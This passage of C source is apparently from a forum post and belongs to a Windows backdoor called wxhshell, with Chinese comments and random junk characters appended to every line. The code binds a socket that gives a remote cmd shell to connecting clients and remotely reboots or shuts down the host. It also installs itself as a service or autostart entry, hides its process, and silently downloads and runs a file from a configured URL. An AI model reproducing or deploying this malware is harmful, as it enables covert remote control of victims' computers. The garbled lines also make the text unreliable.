      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AbXaxt/[g?  
    break; Hea76P5$P+  
  } Ok/U"N-  
  // 安装 CcDi65s  
  case 'i': { ,sk0){rW  
    if(Install()) r=S6yq}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .#BWu(EYV  
    else i wFI lJ@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8i?Hh?Mf}  
    break; S|_}0  
    } ]CL9N  
  // 卸载 Q,AM<\S  
  case 'r': { QP%*`t?  
    if(Uninstall()) a ,EApUWw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2{`[<w  
    else KeIk9T13O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cW|M4`  
    break; cD!y d^QE  
    } [0lu&ak[&  
  // 显示 wxhshell 所在路径 @/DHfs4O  
  case 'p': { Q+r8qnL'  
    char svExeFile[MAX_PATH]; p3f>;|uh_  
    strcpy(svExeFile,"\n\r"); s{30#^1R  
      strcat(svExeFile,ExeFile); S1`;2mAf*  
        send(wsh,svExeFile,strlen(svExeFile),0); 2)W~7GED  
    break; *!W<yNrR  
    } Gs0x;91  
  // 重启 'IykIf  
  case 'b': { p%?VW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /&T"w,D  
    if(Boot(REBOOT)) ophQdJM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4!3mSWNV  
    else { $%%K9Y  
    closesocket(wsh); 0</]Jo%  
    ExitThread(0);  '7j!B1K-  
    } c}l?x \/  
    break; Z(gW(O9h.V  
    } s .xJ},E9  
  // 关机 Qgel^"t]i  
  case 'd': { X-mhz3Q&a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3WTNWz#h  
    if(Boot(SHUTDOWN)) {,Py%.vvR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0>aAI3E  
    else { lY,dyNFHV  
    closesocket(wsh); en1NFP  
    ExitThread(0); Kx@Papn|6  
    } n}T;q1  
    break; =Eimbk  
    } 3r]m8Hp  
  // 获取shell Z~WUILx,  
  case 's': { a-9Y &#U  
    CmdShell(wsh);  > h>  
    closesocket(wsh); Zd Li<1P*d  
    ExitThread(0); 1638U 1  
    break; /2&:sHWW  
  } e ; #"t  
  // 退出 [!Jd.zm  
  case 'x': { .]IidsgM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SZ*Nr=X  
    CloseIt(wsh); TSPFi0PP  
    break; lZI?k=rWv  
    } m%[Ul@!V  
  // 离开 :I)WSXP9h  
  case 'q': { = ;!$Qw4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jJ B+UF=  
    closesocket(wsh); = MP?aH [  
    WSACleanup(); ;%/Kh :Vg  
    exit(1); %~$P.Zh  
    break; w:0=L`<Eu  
        } jIOrB}  
  } x U1](O  
  } B>!OW2q0D  
G[[hC[}I  
  // 提示信息 ;hcOD4or  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uv}?8$<\  
} 10C,\  
  } }0%~x,  
 oRbG6Vv/  
  return; G5R"5d'  
} `RriVYc<  
zt23on2  
// shell模块句柄 <691pk X  
int CmdShell(SOCKET sock) 6n  
{ R54wNm @  
STARTUPINFO si; ohod)8  
ZeroMemory(&si,sizeof(si)); ]l~TI8gC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S{sJX5R;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -#e3aXe  
PROCESS_INFORMATION ProcessInfo; |d@%Vb_  
char cmdline[]="cmd"; "G+g(?N]j  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wVw?UN*rm;  
  return 0; \TF='@u.  
} ;#goC N.  
3a_=e B  
// 自身启动模式 nB#m?hK  
int StartFromService(void) :|P[u+v  
{ Tw{}Ht_Qq  
typedef struct v_7?Zik8E  
{ n& j@7R  
  DWORD ExitStatus; O8\dMb  
  DWORD PebBaseAddress; &YU; K&  
  DWORD AffinityMask; ;B,6v P#  
  DWORD BasePriority; n*Q~<`T  
  ULONG UniqueProcessId; Q=+*OQV29  
  ULONG InheritedFromUniqueProcessId; l[G&=/R@H  
}   PROCESS_BASIC_INFORMATION; +li<y`aw0  
vs`"BQYf  
PROCNTQSIP NtQueryInformationProcess; t\/i9CBn  
f2abee  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {&bjjM  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =[7[F)I~O  
DF>LN%a~  
  HANDLE             hProcess; A5A4*.C  
  PROCESS_BASIC_INFORMATION pbi; +;ILj<!Z7  
C1V@\mRi  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _(R1En1  
  if(NULL == hInst ) return 0; a(qij&>  
;nDCyn4i]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3kc.U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]rpU3 3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }#0i1]n$D  
\m\E*c ):  
  if (!NtQueryInformationProcess) return 0; qVvQ9?  
6hW ~Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WaaF;| ,(  
  if(!hProcess) return 0; 2EU((Q`>=(  
 3 )bC,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [i&EUvo  
lHTW e'  
  CloseHandle(hProcess); Pa8E.<>  
^ |xSU_wa  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); rQuozbBb  
if(hProcess==NULL) return 0;  ./iC  
b#17N2xkT  
HMODULE hMod; u@"nVHgMJ  
char procName[255]; a (mgz&*  
unsigned long cbNeeded; )yOdRRP  
++HHUM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \Y4>_Mk  
yqY nd<K4  
  CloseHandle(hProcess); b `7vWyp  
wOlnDQs  
if(strstr(procName,"services")) return 1; // 以服务启动 '#;%=+=;  
08+cNT  
  return 0; // 注册表启动 !ULU#2'1  
} MPtn$@  
YM:;mX5B  
// 主模块 3>+9Rru  
int StartWxhshell(LPSTR lpCmdLine) r&MHww1i  
{ hJ>Kfm  
  SOCKET wsl; p H5iv>H  
BOOL val=TRUE; |3a1hCxt  
  int port=0; Dm")\"5\?  
  struct sockaddr_in door; _N-.=86*  
!bPsJbIo>  
  if(wscfg.ws_autoins) Install(); T[z}^"  
g?}$"=B   
port=atoi(lpCmdLine); l$1z%|I  
!' D1aea5  
if(port<=0) port=wscfg.ws_port; oC~8h8"l  
z`?{5v -Qs  
  WSADATA data; Gl4(-e'b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ek^=Z`  
sp2"c"_+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :FUefW m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }Sxuc/%:  
  door.sin_family = AF_INET; 0G`FXj}L  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sp/l-a  
  door.sin_port = htons(port); ^"U-\cx  
_4#8o\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { IQ5H`o?[B  
closesocket(wsl); cEP!DUo  
return 1; cIm_~HH  
} (Ov{gj^  
}%&hxhR^t3  
  if(listen(wsl,2) == INVALID_SOCKET) { 5yh:P3 /  
closesocket(wsl); zE~{}\J  
return 1; XMR$I&;G8  
} w;=fi}<G|e  
  Wxhshell(wsl); A<1:vV  
  WSACleanup(); [32]wgw+{1  
|<Cz#| ,q  
return 0; z<T(afM{*  
<;O -N=  
} 9i&(VzY[=  
HB>&}z0  
// 以NT服务方式启动 ir72fSe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yR`X3.:*]  
{ 9L`5r$/  
DWORD   status = 0;  c"pI+Q  
  DWORD   specificError = 0xfffffff; F7FUoew<  
]YO &_#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]ZkR~?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ew&pwsQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $,mljJSQv  
  serviceStatus.dwWin32ExitCode     = 0; ?)Psf/  
  serviceStatus.dwServiceSpecificExitCode = 0; -w[j`}([P9  
  serviceStatus.dwCheckPoint       = 0; H/rJ:3  
  serviceStatus.dwWaitHint       = 0; 8|Q=9mmWOh  
jGeil qPC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 56|o6-a^  
  if (hServiceStatusHandle==0) return; b`lLqV<[cB  
sDylSYq  
status = GetLastError(); j,]KidDWm  
  if (status!=NO_ERROR) :RxWHh3O  
{ S .KZ)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B7*^rbI:X  
    serviceStatus.dwCheckPoint       = 0; h()Ok9]  
    serviceStatus.dwWaitHint       = 0; oPqWL9]  
    serviceStatus.dwWin32ExitCode     = status; i;CVgdQ8  
    serviceStatus.dwServiceSpecificExitCode = specificError; fP:n=A{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G$eA(GE   
    return; 6> fQe8Y  
  } q_hkI]  
 d*Wg>8|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; EAdr}io  
  serviceStatus.dwCheckPoint       = 0; (oftq!X2  
  serviceStatus.dwWaitHint       = 0; |8|_^`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L"_l(<g  
} oy;g;dtq  
:EkhF6B/  
// 处理NT服务事件,比如:启动、停止 cE|Z=}4I7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c2tf7fkH  
{ ^57G]$Q  
switch(fdwControl) s`Y8 &e.Yr  
{ -msfiO  
case SERVICE_CONTROL_STOP: ']x`d  
  serviceStatus.dwWin32ExitCode = 0; + YjK#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2b[R^O}   
  serviceStatus.dwCheckPoint   = 0; :4&q2-  
  serviceStatus.dwWaitHint     = 0; \\Z{[{OZ  
  { "%mu~&Ga  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cnm*&1EzV  
  } mmJ$+$JEk  
  return; JKXb$  
case SERVICE_CONTROL_PAUSE: ~!PaBS3A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eB]R<a60  
  break; =k{ n! e  
case SERVICE_CONTROL_CONTINUE: Ai~j q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; &ody[k?'  
  break; +s`HTf  
case SERVICE_CONTROL_INTERROGATE: t&oNC6  
  break; w@jC#E\  
}; J%:D%=9 )  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UhI T!x  
} ik;S!S\v  
,sOdc!![  
// 标准应用程序主函数 ;b-d2R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0- =PP@W  
{ 6AA "JX  
#77p>zhY  
// 获取操作系统版本 y|+n77[Gv  
OsIsNt=GetOsVer(); wqZ*$M   
GetModuleFileName(NULL,ExeFile,MAX_PATH); :Sd"~\N+  
KeGGF]=>  
  // 从命令行安装 Os5Xejh`I  
  if(strpbrk(lpCmdLine,"iI")) Install(); |})7\o  
>l$qE  
  // 下载执行文件 3SeM:OYq]s  
if(wscfg.ws_downexe) { dw"Tv ~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) TTfU(w%&P  
  WinExec(wscfg.ws_filenam,SW_HIDE); GY3g`M   
} ZQVr]/W^r  
o)M=; !  
if(!OsIsNt) { /`2t$71)  
// 如果时win9x,隐藏进程并且设置为注册表启动 g.V{CJ*V  
HideProc(); TA~FP#.  
StartWxhshell(lpCmdLine); .*x |TPv{  
} (Cc!Iw'0M  
else `1hM3N.nO  
  if(StartFromService()) nXg:lCI-uu  
  // 以服务方式启动 @ uF$m/g  
  StartServiceCtrlDispatcher(DispatchTable); x+%(z8wD  
else l)d(N7HME  
  // 普通方式启动 x =7qC#+)  
  StartWxhshell(lpCmdLine); W pdn^=dhL  
1B5 ]1&M  
return 0; ?kF_C,k/>N  
}
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只看该作者 1 发表于: 2006-10-10
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